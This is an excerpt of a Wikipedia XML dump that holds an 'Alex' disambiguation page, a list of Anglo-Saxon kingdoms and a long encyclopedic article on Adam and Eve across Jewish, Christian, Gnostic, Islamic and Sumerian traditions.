*[http://www.ccel.org/ccel/schaff/anf01.ix.iv.iv.html Irenaeus, Against Heresies, Online-text]
[[Category:Christian group structuring]]
[[Category:Episcopacy in Catholicism]]
[[Category:Christian theology]]

[[cs:Apoštolská posloupnost]]
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[[et:Apostellik suktsessioon]]
[[es:Sucesión apostólica]]
[[fr:Succession apostolique]]
[[ia:Succession apostolic]]
[[it:Successione apostolica]]
[[nl:Apostolische successie]]
[[no:Apostolisk suksesjon]]
[[pl:Sukcesja apostolska]]
[[sv:Apostolisk succession]]</text>
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    <title>Anglican</title>
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  <page>
    <title>Alex</title>
    <id>2259</id>
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      <contributor>
        <username>Mopo123</username>
        <id>1005720</id>
      </contributor>
      <text xml:space="preserve">'''Alex''' is a short form of the [[given name]] '[[Alexander (disambiguation)|Alexander]]'.  In particular, it may refer to&amp;mdash;

* [[Alessandro dos Santos]], a Brazilian-born Japanese soccer player.
* [[Alex (Street Fighter)]], the main character of the ''Street Fighter III'' series.
* [[Alex (cartoon)]] in the ''Daily Telegraph''.
* [[Alex (parrot)]] a famous talking parrot studied by Irene Pepperberg.
* [[Alex (videotex service)]] a videotex service offered by Bell Canada in the early 1990s.
* [[Alex (restaurant)]] a 5 star restaurant in Las Vegas
* [[Alex DeLarge]], the antihero of ''A Clockwork Orange''
* [[Alex Kidd]], a video game character.
* [[Alex Lam]], a Hong Kong individual music producer.
* [[Alex, Haute-Savoie]] a commune in the Haute-Savoie ''département'' of France.
* [[Alex, Oklahoma]].
* [[Alexsandro de Souza]], a Brazilian football player.
* [[List of characters in Golden Sun#Alex|Alex]], a video game character in ''Golden Sun''.
* [[Alex Trebek]], Host of the game show Jeopardy.
* [[Standard sniper rifle &quot;Alex&quot;]] - polish [[sniper rifle]]
{{disambig}}
[[de:Alex]]</text>
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  <page>
    <title>Astounding magazine</title>
    <id>2260</id>
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    <title>Analog Magazine</title>
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    <title>Analog magazine</title>
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    <title>Anglo-Saxon monarchs</title>
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      <text xml:space="preserve">The foremost of the '''[[Monarch|king]]s of [[Anglo-Saxons|Anglo-Saxon England]]''' was [[Aelle of Sussex|Ælle of Sussex]] in [[477]], who was much later followed by [[Alfred the Great]] (who took the place of [[Ethelred of Wessex|Ethelred]]) in [[871]]. The last king of the Anglo-Saxon period was [[Edgar Atheling]], who was deposed by William I in 1066. Many of these monarchs used the name ''[[Bretwalda]]''.

==Anglo-Saxon kings==
* See the [[:Category:Anglo-Saxon monarchs|Anglo-Saxon monarchs category]].

===[[Wessex]] kings===
* See [[List of monarchs of Wessex]]



===[[East Anglia]] kings===
* See [[Kings of East Anglia]]

===[[Kingdom of Essex|Essex]] kings===
* See [[Kingdom of Essex]]

===[[Kingdom of Kent|Kent]] kings===
* See [[Kings of Kent]]

===[[Mercia]] kings===
* See [[List of monarchs of Mercia]]

===[[Northumbria]] and Northumbria subkingdoms kings===
* See [[List of monarchs of Northumbria]]

==Anglo-Saxon England [[heptarchy]]==
The separate [[monarchy|kingdom]]s which made up Anglo-Saxon [[England]] were:
* [[Kingdom of Kent|Kent]]
* [[Northumbria]]
* [[Wessex]]
* [[Kingdom of Essex|Essex]] 
* [[Sussex]]
* [[Mercia]]
* [[East Anglia]]

===Subkingdoms of Northumbria===
* [[Bernicia]] 
* [[Deira]]

===Other minor kingdoms===
* [[Kingdom of Ynys Weith|Isle of Wight]]
* [[Kingdom of Suther-ge|Surrey]] 
* [[Kingdom of the Iclingas]]
* [[Kingdom of Lindsey|Lindsey]]
* [[Hwicce]]
* [[Dalriada]] / [[Strathclyde]]
* [[Whitghar]]

[[Category:Anglo-Saxon England|Monarchs]]
[[Category:Anglo-Saxon monarchs| ]]</text>
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  <page>
    <title>Adam and Eve</title>
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      <text xml:space="preserve">:'' For other uses of Adam or Eve, see [[Adam (disambiguation)]] and [[Eve (disambiguation)]]. For the orchid species commonly called Adam and Eve, see [[Aplectrum hyemale]].''

According to the [[Book of Genesis]] in [[Judaism]]'s [[Torah]] and the [[Christian]] [[Bible]], and [[Islam]]'s [[Qur'an]], '''Adam'''  was the [[First man or woman|first man]] created by [[God]]. At Genesis 1:27, Adam's female [[Marriage|mate]] is said to have been created with Adam, and at Genesis 2:21-22 Adam's wife is named as '''[[Eve]]''' (or '''Chava-חוה''') and was created from his side. Hence, in modern times Eve has been thought of as the [[first woman]], though classical traditions recorded in the Midrash make her the second.

The Qur'an tells the story of Adam and Eve mainly in [[al-Baqara|2]]:30-39, [[al-A'raf|7]]:11-25, [[al-Hijr|15]]:26-44, [[al-Isra|17]]:61-65, [[Ta-Ha|20]]:115-124, [[Sad (sura)|38]]:71-85., and the Book of Genesis tells the story at chapters 2-3.  Also, in the Scriptures of the Church of Jesus Christ of Latter-day Saints, the story of Adam and Eve is explained in better detail in the Book of Mormon in the Second Chapter of 2nd Nephi, and in Chapters  2-5 in the Book of Moses and Chapters 3 through 4 in the Book of Abraham.  The latter two is found in the Pearl of Great Price.

==Interpretation of names==
{{Cleanup-date|January 2006}}
'''Adam'''&amp;mdash;אָדָם in [[Standard Hebrew]], ʾĀḏām in [[Tiberian Hebrew]], آدم (ʾĀdam) in [[Arabic language|Arabic]], አዳም ('Adam) in [[Geez]] (Ethiopic), and Adamus in [[Latin]] &amp;mdash; translates literally as ''red earth''. In the ancient cultures of the [[fertile crescent]], people were thought to have been created from the earth itself, and so the term ''red earth'' was used to refer to mankind generally. This is true today for the [[Kazak]] language, in which ''Adam'' means ''human'' and ''Adamshylyk'' is mankind, and for most other [[Turkic languages]], in which ''Adam'' also means ''man'' or ''human''.

However, in the [[Sibylline Oracles]], the name Adam is explained as a [[notaricon]] composed of the initials of the four directions; [[anatole]] (east), [[dusis]] (west), [[arktos]] (north), and [[mesembria]] (south). The Jews had their own [[acrostic]] interpretation of the name Adam. In the [[2nd century CE]], [[Rabbi Yohanan]] used the Greek technique of notarichon to explain the name אָדָם as the initials of the words ''afer'', ''dam'', and ''marah'', being dust, blood, and [[gall]].

'''Eve'''&amp;mdash;חַוָּה (Ḥavva) in [[Standard Hebrew]], Ḥawwāh in [[Tiberian Hebrew]], حواء (Hawwāʾ) in Arabic, ሕይዋን (Hiywan) in Geez, and Eva/Eua or Geva in Latin &amp;mdash; means simply ''living one'', or ''[[life]]''. Hence these names are literal descriptions of the purported parents of humanity.

==Adam and Eve of the Torah, Pseudepigraphic Books and other Jewish Traditions==

[[Image:AdamAndEve fx.png|200px|thumb|left|Traditional woodblock print portraying Adam and Eve in the [[Garden of Eden]] with many of the &quot;lower creatures.&quot;]]
[[Image:Michelangelo Buonarroti 017.jpg|thumb|left|Michelangelo's [[Creation of Adam|Adam]].]]

Adam is said, in the Torah, to have been created from the dust of the earth, and in the [[Talmud]] (Tractate Sanhedrin 38b) is, more specifically, described as having initially been a [[golem]] kneaded together from [[mud]].  In the Torah, God is initially described, at Genesis 1:26, as breathing the ''breath of life'' into the nostrils of the first man, and this is usually interpreted in Judaeo-Christian circles as having brought life immediately to the first man.

===Eve's creation===
At this point, in the Torah, [[Yahweh]] is described as causing a deep sleep to fall upon Adam, and removing part of his body, usually interpreted as a [[rib cage|rib]] (though a more literal translation is non-specific), referring to &quot;side&quot;. From this body part, Eve is subsequently created, as a companion to alleviate Adam's loneliness.

===Traditions regarding Adam and other wives===
[[Image:Lilith (John Collier painting).jpg|thumb|''Lilith'' (1892), by [[John Collier]]]]

Thus in Genesis, there are two separate accounts of the creation &amp;mdash; one at Genesis 1-2:3, when woman was created with man and another after Genesis 2:4 giving the account of the creation of Eve from Adam's rib.  While the more traditional view holds these to be written by the same author as a fuller account supplementing the earlier one, most modern scholars support the [[documentary hypothesis]], which claims each account derived from separate source texts that were later combined, with Eve's name and story being present only in the [[Yahwist]] text. Even in ancient times, the presence of two distinct accounts was noted, and regarded with some curiosity. The first account says ''male and female [God] created them'', which has been assumed by critical scholars to imply simultaneous creation, whereas the second account states that God created Eve from Adam's rib because Adam was lonely. Thus to resolve this apparent discrepancy, mediaeval rabbis suggested that Eve and the woman of the first account were two separate individuals.

Preserved in the [[Midrash]], and the mediaeval [[Alphabet of Ben Sira]], this rabbinic tradition held that the first woman refused to take the submissive position to Adam in [[sexual intercourse|sex]], and eventually fled from him, consequently leaving him lonely. This first woman was identified in the Midrash as [[Lilith]], a figure elsewhere described as a night demon. 

The word ''liyliyth'' can also mean &quot;screech owl&quot;, as it is translated in the [[King James Version of the Bible|King James Version]] of [[Book of Isaiah|Isaiah]] 34:14, although some scholars take this to be a reference to the same demonic entity as mentioned in the Talmud. 

In the Talmud, Adam is said to have separated from Eve for 130 years, during which time his [[ejaculation]]s gave rise to ''ghouls, and demons''. Elsewhere in the Talmud, Lilith is identified as the mother of these creatures. The demons were said to prey on newborn males before they had been [[circumcised]], and so a tradition arose in which a protective amulet was placed around the neck of newborns. Traditions in the Midrash concerning Lilith, and her sexual appetite, have been compared to [[Sumerian mythology]] concerning the demon ''ki-sikil-lil-la-ke'', by scholars who postulate an intermediate [[Akkadian]] [[folk etymology]] interpreting the ''lil-la-ke'' portion of the name as a corruption of ''lîlîtu'', literally meaning ''female night demon''.

The ''Alphabet of Ben Sira'' Midrash goes even further and identifies a third wife, created after Lilith deserted Adam, but before Eve. This unnamed wife was purportedly made in the same way as Adam, from the &quot;dust of the earth&quot;, but the sight of her being created proved too much for Adam to take and he refused to go near her. It is also said that she was created from nothing at all, and that God created into being a skeleton, then organs, and then flesh. The Midrash tells that Adam saw her as &quot;full of blood and secretions,&quot; suggesting that he may have actually witnessed her creation and was horrified at seeing a body from the inside out. Ben Sira does not record this wife's fate. She was never named, and it assumed that she was allowed to leave the Garden a perpetual virgin, or was ultimately destroyed by God in favor of Eve, who was created when Adam was asleep and oblivous.  It should be noted here, that both Lilith and the Second Wife are free from any curse of the Tree of Knowledge, as they left long before the event occurred.

===The Fall of Man===
{{Main|Fall (religion)}}

[[Image:Domenichinoadam eve.jpg|200px|thumb|right|[[Domenichino]]'s portrayal of Genesis 3:12: &quot;The woman whom thou gavest [to be] with me, she gave me of the tree, and I did eat&quot; (1623&amp;ndash;1625).]]

The main story concerning Adam is traditionally regarded as extremely important in the major &quot;[[Abrahamic religions]]&quot;. This recounts how Adam and Eve are placed in the [[Garden of Eden]], and are allowed to cultivate and enjoy its fruit, living innocently. However, there was one tree they were explicitly forbidden from touching - the [[Tree of the Knowledge of Good and Evil]] - a tree otherwise unidentified, but it has been interpreted as a [[fig]], [[apple]], or [[pomegranate]] tree, or even a [[grape]] (see [[#Cultural influence]]). The Torah then records that a [[Serpent (symbolism)|serpent]], a creature described as having legs at that point, approached Eve and cajoled her into eating the [[forbidden fruit]], saying ''you won't die''. Later, Adam also ate.

They both became disturbed by their nudity, making aprons of [[fig]] leaves to cover themselves. The Torah goes on to state that God personally questioned them about this, and on discovering they had disobeyed, expelled them from Eden &amp; did not allow them to access the [[tree of life]], which grants immortality, and cursed the serpent to lose its legs so that it has to crawl, and to have mutual hatred for mankind.

===East of Eden===

The Torah states that Adam was expelled to the East, and that at the eastern entrance of the garden, God placed ''[[Cherubim]]'' and a flaming sword &quot;which turned every way&quot;. 

Genesis does not tell for how long Adam and Eve were in the [[Garden of Eden]], but the [[Book of Jubilees]] states that they were removed from the garden on the new moon of the fourth month of the 8th year after creation (Jubilees 3:33); other Jewish sources assert that it was less than a day. Shortly after their expulsion, Eve brought forth her first-born child, and thereafter their second &amp;mdash; [[Cain and Abel]], respectively. 

[[Image:Durer Adam and Eve.jpg|200px|thumb|right|''Adam and Eve'', by [[Albrecht Dürer]] ([[1507]]).]]

Only three of Adam's children (Cain, Abel, and Seth) are explicitly named in Genesis, although it does state that there were other sons and daughters as well (Genesis 5:4).

In [[Book of Jubilees|Jubilees]], two daughters are named - Azûrâ being the first, and Awân, who was born after Seth, Cain, Abel, nine other sons, and Azûrâ. Jubilees goes on to state that Cain later married Awân and Seth married Azûrâ, thus, despite the [[incest]], accounting for their descendants. However, according to ''[[Genesis Rabba]]'' and other later sources, either Cain had a twin sister, and Abel had two twin sisters, or Cain had a twin sister named Lebuda, and Abel a twin sister named Qelimath. In the [[Conflict of Adam and Eve with Satan]], Cain's twin sister is named Luluwa, and Abel's twin sister is named Aklia.

Other [[pseudepigrapha]] give further details of their life outside of Eden, in particular, the [[Life of Adam and Eve]] (also known as the ''Apocalypse of Moses'') consisting entirely of a description of their life outside Eden. As the first man, Adam was traditionally a significant figure to whom was attributed prophecy and wisdom. 

After Cain killed Abel, and was cursed to wander, Adam and Eve conceived a third child named Seth, who, with Cain, gave rise to the two family lines of the [[Generations of Adam]]. 
According to the Bible, Adam finally died at the age of 930 years, the traditional Jewish view being that he and Eve are currently buried in the [[Cave of Machpelah]], in [[Hebron]].

==Separate Adam and Eve Traditions in Christianity==

Some branches of Christianity fully accept the tradition of Adam and Eve as portrayed in the Torah, and although some hold various views expressed in the Pseudepigrapha, they do not accept the later Jewish ''Midrash''.  For example, the serpent is generally equated with Satan, although this is not explicitly mentioned in the Torah.  

The early Christian movement showed a toleration of women, although in the 2nd century, such Church Fathers as [[Tertullian]] held Eve especially responsible for the expulsion from Paradise.  In &quot;Memory of the Introduction of Sin into the World Through a Woman&quot;, he wrote:

:''&quot;If there dwelt upon earth a faith as great as is the reward of faith which is expected in the heavens, no one of you at all, best beloved sisters, from the time that she had first &quot;known the Lord,&quot; and learned (the truth) concerning her own (that is, woman's) condition, would have desired too gladsome (not to say too ostentatious) a style of dress; so as not rather to go about in humble garb, and rather to affect meanness of appearance, walking about as Eve mourning and repentant, in order that by every garb of penitence she might the more fully expiate that which she derives from Eve,-the ignominy, I mean, of the first sin, and the odium (attaching to her as the cause) of human perdition. &quot;In pains and in anxieties dost thou bear (children), woman; and toward thine husband (is) thy inclination, and he lords It over thee.&quot; And do you not know that you are (each) an Eve? The sentence of God on this sex of yours lives in this age: the guilt must of necessity live too. You are the devil's gateway: you are the unsealer of that (forbidden) tree: you are the first deserter of the divine law: you are she who persuaded6 him whom the devil was not valiant enough to attack. You destroyed so easily God's image, man. On account of your desert-that is, death-even the Son of God had to die.&quot;''

The [[Dominicans]] Kramer and Sprengler used similar tracts to justify the ''[[Malleus Maleficarum]]'' (&quot;Hammer of the Witches&quot;) published in [[1486]], that led to three centuries of persecution of &quot;witches&quot;.  

With the expulsion of Adam and Eve from the garden, [[Eastern Orthodox]] tradition holds that the sword preventing anyone from entering [[Paradise]] again was removed once [[Jesus]] was born, in order to allow [[humanity]] to return to Paradise.

==Adam and Eve in Gnostic and Manichaean Traditions==
{{Main|Gnostics}}

===The Role of Androgynic Adam===

While the [[Gnostic]]s used scriptural texts as teaching devices, rather than viewing them to be literal accounts genuinely written by early patriarchs, this was the converse of what was true of what became official Christianity. The [[Gnostic]]'s [[Nag Hamadi]] text &quot;[[Apocalypse of Adam]]&quot;, for instance contains the account of the enlightenment Adam received, for which certain angels became jealous. The &quot;[[Testament of Adam]]&quot;, for example takes a further step to produce a faked ancient prophecy, of events that had supposedly already occurred by the time it was published.

In certain forms of Christian [[Gnosticism]] the creation of Adam as Protanthropos - the original man, had a very important place.  The [[Apocalypse of Adam]] suggests that Adam and Eve were originally conjoined in a single androgynous being both male and female and greater than the eternal angels and higher than Samael, the God of the Aeon and Powers that had created them.  This seems to be what Irenaeus (I, xxix, 3) refers to when he states that the Aeon Autogenes (self-created Aeon) creates a true and perfect human Anthrôpos, also called Adamas, who has &quot;Perfect Knowledge.  In wrath of Samael, the God of the Aeon then separated Adam from Eve, causing their superior knowledge of God to flee from them.

The Perfection of the Protanthropos is also sometimes seen as a result of a non material emanation from God, called the Son of God and seen as the prefigurement for the appearance of [[Jesus]], who, even in Conventional Christian literature is often referred to as &quot;The Second Adam&quot;.  According to the Naassenes it is only when Adam and Eve are separated that they &quot;sink&quot; into material form.  The Genesis verse, that &quot;according to the image of God he made them, male and female he made them&quot;, implied that the first account of the creation of man and woman, according to Theodotus (c.160 CE), that both man and God were anthropogynous beings, later separated by God, the Father/Mother.  As [[Elaine Pagels|Pagels]] shows &quot;The followers of Valentinus suggested that the Mother herself had encouraged the God of Israel to think he was acting autonomously, but as they explain, &quot;It was because he was foolish and ignorant of his Mother that he said, 'I am (the only) God; there is noone beside me'&quot;&quot;. (p.69)  In the Secret Book of John, the creator of Adam and Eve, when he said 

:&quot;'I am a jealous God and there is no other God besides me.' But by announcing this he indicated to the angels ... that another God does exist; for if there were no other one, of whom would he be jealous?... Then the Mother began to be distressed.&quot;

===The Role of Eve as the opener of Adam's Eyes===

Eve too has different roles within Gnosticism.  For example she is often seen as the embodiment of the supreme feminine principle, called barbelo, barbeloth, or barthenos.  As such she is equated with the Light-Maiden of Sophia (Wisdom), creator of the word (Logos) of God, the &quot;thygater tou photos&quot; or simply the Virgin Maiden, &quot;parthenos&quot;.  Again, in conventional Christianity, this is a prefigurement of Mary, also sometimes called &quot;the Second Eve&quot;.  In other Gnostic texts, such as The Hypostasis of the Archons, (The Reality of the Rulers), the Pistis Sophia is equated with Eve's daughter, Norea, the wife of Seth.

As a result of such Gnostic beliefs, especially amongst [[Marcionites]], women were considered equal to men, being revered as prophets, teachers, travelling evangelists, faith healers, priests and even bishops.

{{Main|Manichaeans}}

This is taken up in [[Manichaean]] belief the Protanthropos is seen as &quot;the World Soul&quot;, ([[Anima Mundi]]), sent to fight against darkness.  The &quot;Fall&quot; is then seen as the primordial man being delivered up to evil and swallowed in darkness, with the Universe as a whole now existing as a means of delivering the primordial Adam from Darkness.  Here too the intercourse between Adam and Eve was seen as the way in which darkness overcame the light. 

:&quot;Mani said, 'Then Jesus came and spoke to the one who had been born, who was Adam, and explained to him (about) the gardens (of Paradise), the deities, Gehenna, the satans, earth, heaven, sun, and moon. He also made him fear Eve, showing him how to suppress (desire) for her, and he forbade him to approach her, and made him fear to be near her, so that he did (what Jesus commanded). Then that (male) archon came back to his daughter, who was Eve, and lustfully had intercourse with her. He engendered with her a son, deformed in shape and possessing a red complexion, and his name was Cain, the Red Man. Then that son had intercourse with his mother, and engendered with her a son of white complexion, whose name was Abel, the White Man. Then Cain again had intercourse with his mother, and engendered with her two girls, one of whom was named Hakimat al-Dahr and the other Ibnat al-Hirê . Then Cain took Ibnat al-Hirê as his wife and presented Hakimat al-Dahr to Abel, and he took her as his wife.'&quot; [[http://www.religiousstudies.uncc.edu/jcreeves/manichaean_version_of_genesis_2-4.htm]]

===Role of Satan===

Gnostics seem to have taken the Marcionite belief that the Wrathful Yahweh of the Torah and the loving Father of Christianity were two separate divinities.  In their book &quot;The Origin of the World&quot; for instance it states:-

:The heaven and his earth were destroyed by the troublemaker that was below them all. And the six heavens shook violently; for the forces of chaos knew who it was that had destroyed the heaven that was below them. And when Pistis (Faith) knew about the breakage resulting from the disturbance, she sent forth her breath and bound him and cast him down into Tartaros. Since that day, the heaven, along with its earth, has consolidated itself through Sophia (Wisdom) the daughter of Yaldabaoth, she who is below them all. 

:Now when the heavens had consolidated themselves along with their forces and all their administration, the prime parent became insolent. And he was honored by all the army of angels. And all the gods and their angels gave blessing and honor to him. And for his part, he was delighted and continually boasted, saying to them, &quot;I have no need of anyone.&quot; He said, &quot;It is I who am God, and there is no other one that exists apart from me.&quot; And when he said this, he sinned against all the immortal beings who give answer. And they laid it to his charge. 

:Then when Pistis saw the impiety of the chief ruler, she was filled with anger. She was invisible. She said, &quot;You are mistaken, Samael,&quot; (that is, &quot;blind god&quot;). &quot;There is an immortal man of light who has been in existence before you, and who will appear among your modelled forms; he will trample you to scorn, just as potter's clay is pounded. And you will descend to your mother, the abyss, along with those that belong to you. 

[[Gnostic]] accounts also turned the identification of the serpent with Satan on its head, and the serpent was seen as the hero, particularly to [[Ophite]]s, who was trying to help the couple gain knowledge to defeat evil Samael, whom the Gnostics saw as the jealous [[demiurge]] of the creation. 

There is also the tradition that Satan refused to bow to Adam as a result of his exclusive love of God, and felt that bowing to humankind was a form of idolatry.  This tradition informs the treatment of Satan in some forms of Christian [[gnosticism]].

More extended versions of the fall of Satan exist in which he leads a divine war, which, while in works such as the Book of Enoch is recorded as being in heaven after Satan turns away from God.

==Adam and Eve in Islamic Tradition==

The important early Islamic commentator [[Tabari]] adds a number of details to the Torah, based on claimed [[hadith]] as well as specific Jewish traditions (so-called ''[[isra'iliyyat]]''). Tabari records that when it came time to create Adam, God sent [[Gabriel (archangel)|Gabriel]] (Jibril), then [[Michael (archangel)|Michael]] (Mika'il), to fetch clay from the earth; but the earth complained, saying ''I take refuge in God from you, if you have come to diminish or deform me'', so the angels returned empty-handed. Tabari goes on to state that God responded by sending the [[Angel of Death]], who took clay from all regions, hence providing an explanation for the variety of appearances of the different races of mankind.

Aaccording to Tabari's account, after receiving the breath of God, Adam remained a dry body for 40 days, then gradually came to life from the head downwards, sneezing when he had finished coming to life, saying ''All praise be to God, the Lord of all beings''. Having been created, Adam, the first man, is described as having been given dominion over all the lower creatures, which he proceeds to name. As one of the people to whom God is said to have spoken to directly, Adam is seen as a [[Prophets of Islam|prophet in Islam]].

===The fall of Satan===

At this point, Adam takes a prominent role in Islamic traditions concerning the fall of [[Satan]], which is not recorded in the Torah, or in Christianity though is present in the historically important [[Book of Enoch]]. In these, when God announces his intention of creating Adam, some of the angels express dismay, asking why he would create a being that would do evil. Teaching Adam ''the names'' reassures the angels as to Adam's abilities, though commentators dispute which particular names were involved; various theories say they were the names of all things animate and inanimate, the names of the angels, the names of his own descendants, or the [[99 Names of God|names of God]].

When God orders the angels to bow to Adam one of those present, Satan ([[Iblis]] in Islam, regarded as a [[jinn]] rather than an angel, and hence avoiding questions about angels having [[free will]]), refuses due to his pride, and is summarily banished from the heavens. [[Liberal movements within Islam]] have viewed God's commanding the angels to bow before Adam as an exaltation of humanity, and as a means of supporting [[human rights]].  

More extended versions of the fall of Satan also exist in works such as that of Tabari, and the [[Shia]] commentator al-[[Qummi]], is explained where he is sent against the jinn, who had angered God by sin and fighting. In such versions where Satan leads the battle on God's behalf, rather than his own, it is the pride and conceit resulting from his victory which results in his expulsion, since pride is here seen as a sin. Islamic traditions further record that, in vengeful anger, Iblis promises God that he will lead as many humans astray as he can, to which God replies that it is the choice of humans - those who desire to will follow Satan, while those who desire to will follow God.

===The Creation of Eve in Islam===

Eve, is not mentioned by name in the Qur'an, she is nevertheless referred to as Adam's spouse, and Islamic tradition refers to her by an etymologically similar name - Hawwa. In fact, although her creation is not recounted in the Qur'an, Tabari recounts the biblical tale of her creation, stating that she was named because she was created from a ''living'' thing (her name means ''living''). The torah gives an etymology for ''woman'', or rather the Hebrew equivalent (''ish-shah''), stating that she should be called ''woman'' since she was taken out of man (''ish'' in Hebrew). The etymology is regarded as implausible by most semitic linguists.

Al-[[Qummi]] records the opinion that Eden was not entirely earthly, and so, having been sent to earth, Adam and Eve first arrived at mountain peaks outside [[Mecca]]; Adam on [[Safa]], and Eve on [[Marwa]]. In this Islamic tradition, Adam remained weeping for 40 days, until he repented, at which point God rewarded him by sending down the [[Kaaba]], and teaching him the [[hajj]]. Other Islamic traditions hold that Adam was moved to [[Sri Lanka]], as the next best thing to Eden, and, viewing Adam as having been a giant, human size having shrunk drastically before the [[great flood]], [[Adam's Peak]] is said to contain his giant footprint.

The Qur'an also describes the two sons of Adam (named Qabil and Habil in Islamic tradition, but not mentioned by name in the Qur'an) that correspond to Cain and Abel.

==Historicity==  
Many Jewish scholars in the ancient world and today and some modern Christians consider Adam and Eve as an example of [[The Bible as myth|religous myth]] where the focus is on fundamental truths.  In their interpretation, the story conveys the truth of sin and human rebellion, regardless of historical accuracy. All, some, or none of the actual events of the narrative may have actually happened.

Adam and Eve are usually considered as real historical people as [http://www.biblegateway.com/passage/?search=gen%205.3&amp;version=31 Genesis 5:4] records Adam in a geneaology. In the [[New Testament]], [[Paul]] references Adam and Eve many times, especially contrasting Adam with Jesus where Paul writes &quot;just as sin entered the world through one man.&quot; This seems to support a historical Adam as many theologians interpret [[Original sin|Adam's sin]] as a historical event that changed humankind.  However, Paul could be merely using the myth as a teaching method. Others view Adam and Eve as metaphorical for every person when they first sin and God seeks them out. Those who hold this view point out that ''adam'' can also be translated ''humankind.''

[[The Age of Reason]] prompted Christians to interpret the Bible as strict history rather than historical [[Mythology|myth]]; [[William Whiston]] was one such early scholar.  [[James Ussher]] calculated Adam and Eve's life at approximately 6,000 BCE, basing on the [[Genealogies of Genesis]] and [[Table of Nations]].  

In [[Modern Age|modern times]], with the advent of [[archaeology|archaeological]] discoveries, the theory of [[evolution]], and [[genetics|genetic science]], Christians believing in the historicity of Adam and Eve were challenged. Many denominations have rejected the historicity of Adam and Eve; others have retained it, including the [[Roman Catholic Church]][http://www.catholic.com/library/Adam_Eve_and_Evolution.asp] and [[Evangelicalism|evangelicals]]. Several controversal organizations have formed that view the Bible as strict history and try to backup their beliefs through science.

===Ancestry and evolutionary biology===
{{main|Mitochondrial Eve}}
A theory of a single male and female human ancestor is almost completely contradictory to most modern synthesis of the theory of [[evolution]], which posits that humans evolved from ape-like creatures, gradually. Nevertheless, modern [[genetics|genetic]] studies has identified a single female, [[Mitochondrial Eve]], as the ancestor of every human. Similarly, a single male ancestor has been identified, [[Y-chromosomal Adam]], living many millennia after Mitochondrial Eve.

===The Sumerian connection===
[[Image:Blake Adam and Eve.jpg|200px|thumb|right|''Adam and Eve'', by [[English poetry|English poet]] and [[Painting|painter]] [[William Blake]] ([[1808]]).]]

Tales involving [[Enki]] (from En = Lord, Ki = Earth) and [[Ninhursag]] in [[Sumerian mythology]] (from Nin = Lady, (K)hur = Mountain, Sag = Sacred), and [[Adapa]] in later mythology, has been put forward by several scholars as a likely candidate for large parts of the story of Adam and Eve, most controversially by [[David Rohl]] in 2005, but also by established scholars of Sumeria such as [[Samuel Noah Kramer]], in 1981. In the Sumerian myth, Ninhursag creates at [[Dilmun]] a beautiful garden full of lush vegetation and fruit trees called ''Edinu'' (Sumerian = Wilderness), a name remarkably similar to ''Eden''. Ninhursag creates the garden for herself, but fearing for its protection while she is absent, charges Enki, her lover, with the responsibility to control wild animals, and tend the garden.

Enki, however, becomes curious, and desires to know about the plants. His assistant Adapa, selects seven plants (Akkadian &quot;Shappatu&quot;, hence Hebrew &quot;Sabbath&quot;) offering them to Enki, who eats them. In other versions of the same story, he seduces seven generations of the offspring of his [[hieros gamos|divine marriage]] with Ninhursag, in turn. This enranges Ninhursag, and she causes Enki to fall ill. Enki becomes increasingly ill, feeling pain in seven parts of his body, the eighth part of which is his rib (Sumerian = Ti, meaning &quot;Life&quot;). The other gods realise he is dying and so persuade Ninhursag to relent. In response Ninhursag creates a new goddess named Ninti (Nin = Lady, Ti = Life/Rib), a name which translates both as ''Lady of Living'' and ''Lady of the Rib'', to cure the sickness.

One of Ninhursag's other names was Nintu, and most scholars hence view the story of Ninti as deriving from a pun on her name, arising after ''Nintu'' became corrupted to ''Ninti''. Ninhursag has the epithet ''mother of all living offspring'', and hence holds the same position as Eve - ''mother of all living'' (Genesis 3:29). Another significant connection is in the name of Ninti, as Eve's name means ''living'', and Eve is produced from Adam's rib. If one story were derived from the other, because the [[pun]] with rib is present only in [[Sumerian language|Sumerian]], linguistic criticism places the Sumerian as the more original account.

Enki himself was both the divine lover of Ninhursag, who brought fertility to the earth, and both he and Ninhursag were the 6th generation of the Gods (called by the Sumerians, the Anunaki from Anu = Heaven, Na = And, Ki = Earth), hence having parallels with Adam in addition to the story of the rib, and his charge over the garden. Mankind was created in the 7th generation in order that the younger Igigi Gods could rest from their labours and is additionally described as being fashioned from clay in Sumerian myth, though by the Babylonian era, the clay was said to have had the added blood of [[Kingu]], who was captured by [[Marduk]] son of Enki and Ninhursag, and slain. This supernatural importance of blood is not present in early Sumerian myth, but is recorded in certain sections of the torah, for example [[Leviticus]] records that ''the life is in the blood''. While the Sumerian/Babylonian myth involves multiple deities in the creation of man, in the [[monotheism|monotheist]] account in the torah, this is not possible.

Knowledge generally was viewed in Sumerian myth as deriving from trees. This is explicitly present in a myth of [[Inanna]] and [[Utu]], explaining how Inanna, goddess of [[lust]], initially gained knowledge about [[sexual intercourse|sex]] by descending to earth and eating from various plants and trees, in particular [[Cedar]]s. The merging of this motif, with that of forbidden fruit in the story of Enki and Ninhursag, to produce that of genesis, the [[Tree of the Knowledge of Good and Evil]], has been suggested by scholars of ancient near eastern mythology, such as Leick&lt;!-- Assyriology PhD (Univ. Graz - Austria), lecturer at Richmond College and Univ. Glamorgan --&gt;.

By the Babylonian era, Enki had become viewed as more removed from humanity, and his place as the first leader of man was taken by an individual named Adapa U-an (the [[Oannes]] of [[Berossus]]), who was a human, but created by Enki as advisor (Apkallu, Akkadian for the Sumerian Abgallu, from Ab = Water, Gal = Great, Lu = Man) to the first king of Enki's city of [[Eridu]]. One 14th century BC tablet in fact refers to Adapa as ''the seed of humankind''. One myth recounts that Adapa broke the wings of the south wind of the desert (Sumerian [[Ninlil]], from Nin = Lady, Lil = Wind, wife of the King of the Gods, [[Enlil]], in Akkadian times called Lilitu) in anger at being disturbed fishing, and so was called to the heavens to answer for doing so. Once there, he was warned by Enki to apologise for his actions, but not to touch the food, in case it had been poisoned in revenge.  But the Gods, impressed by his repentence set the ''food and drink of immortality'' before him, but heeding Enki's warning, he refused the food and so lost out on immortality. The god which offered the ''food and drink of immortality'' was the wily serpent-god [[Ningishzida]] (Hebrew [[Nehushtan]]). While in the biblical account it is knowledge which the serpent offers, what the serpent actually remarks to Eve is that she ''shall not die''. The food and drink of the gods originated from the earth, and hence somewhere lay the source of the food and drink of immortality, a ''Tree of Life''.

